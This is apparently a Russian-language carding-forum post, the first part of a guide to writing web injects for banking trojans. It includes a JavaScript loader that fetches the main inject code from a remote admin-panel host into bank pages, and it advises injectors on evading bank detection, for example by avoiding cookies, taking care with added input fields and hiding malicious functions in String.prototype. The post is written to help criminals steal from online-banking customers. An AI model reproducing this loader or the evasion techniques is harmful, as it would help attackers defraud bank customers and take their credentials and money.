Пишем инжекты часть 1 Подготовка.

пишем инжекты часть 1 Подготовка.

Инструменты
firefox (https://www.mozilla.org/en-GB/firefox/new/),
firebug (https://addons.mozilla.org/en-US/firefox/addon/firebug/)

Большинство "писателей" инжектов, именно писателей – акцентрирую внимание, а не кодеров, опускают такой момент, как подготовительный этап перед написанием своего продукта. Я попробую выделить наиболее важные аспекты.

1. Заторможенность в профессиональном развитии.
Фактически все "писатели" имеют глубокие познания javascript – основной язык программирования инжектов и по своему глубокому заблуждению считают себя гуру и долбят миллионы строк кода, не потрудившись узнать, а какие инструмены нам дали кодеры банка, что бы максимально миинимизировать и ускорить код.
Не секрет, что фактически все банки использую JS-фреймворк, такие как jQuery, Dojo, YUI, ExtJS
Очень важно с должным вниманием отнестись к тем инструментам, что сами банки нам дали в руки: лучше потратить время на изучение, чтобы прийти к жизнеспособному и ремонтопригодному коду. Использование фреймворков помогает инновации результатов.

2. Переменные, скрипты, фреймы, инпуты, cookie.
Да-да, на рынке существует до сих пор инжекты, которые используют cookie, для хранения своей информации, неужели вы думаете, что банки не отслеживают? Вы глубоко заблуждаетесь, рассмотрим более сложным пример.
Итак, заказчик получил свой заказ, который вполне может ограничиваться одним маленьким инжектом – так называемым загрузчиком, который подтягивает основной код с удаленного сервака, ну примерно он выглядит так

Код:
host = 'тут урл админки',
sn = document.createElement('script');
sn.setAttribute('async', false);
sn.setAttribute('type', 'text/javascript');
sn.setAttribute('src', '//' + host + '/' + 'xxx.js');
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(sn, s)

на первый взгляд все отлично, он работает, даже подтягивает свой основной код, даже тушит загрузку страницы, пока не выполнился основной код инжекта. НО! Очень простой код в три строки, мгновенно покажет банку на сторонний скрипт и даже зафиксирует откуда именно он загружался. Ну а теперь на вопрос, а почему собственно вам локнули то домен, ответ очевиден.

Код:
var b = document.getElementsByTagName("script");
for (var a = 0; a < b.length; a++) {
alert(b[a].src);
}

аналигично с инпутами

Код:
var b = document.getElementsByTagName("input");
for (var a = 0; a < b.length; a++) {
alert('id: '+b[a].name+'rnname:'+b[a].name);
}

попробуйте сами и увидите, что ваши так удачно вписанные в дизайн дополнительные поля, это как красная тряпка для банка и он ВСЕ видит. Абсолютно все что "написали" писатели как на ладони у банка. Не тешьте себя иллюзией, что работоспособный код это грааль.

Касаемо переменных, обычно "писатель" создает болванку и потом на основе ее клепает инжекты на поток, ну переменная используемае рано или поздно палится тут можно посоветовать использовать существующие объекты и внедрятся в них, ведь согласитесь в boolean мало кто будет искать, чем просто перeменную ThisCoolAZ
а так будет более скрытно.

Код:
(function(){
String.prototype.f = function(){ alert('find me');}
})();

теперь добавив свой зловред, мы может обратиться к любой легимитивной строковой переменной, к любой и вызвать свою хитрую функцию.

Код:
"".f();

3. универсальность, подстройка под бота.
Это, наверное одно из самых больших ошибок, попытки написать инжект под бота кромсая код, изобретая костыли и так далее. стоимость бота, предположим, 10к, выхлоп с одного аз несоизмерим больше, при грамотном подходе. так может сместить приоритеты ? это не инжект должен подстраиваться, а бот должен подгоняться под нужды инжекта.
Иначе получается машина то есть, а колеса квадратные. Не хочет автор бота вводить новые фишки, новый функционал – советую задуматься о смене "колес"

P.S. если интересно еще что-нибудь напишу.

Оставьте комментарий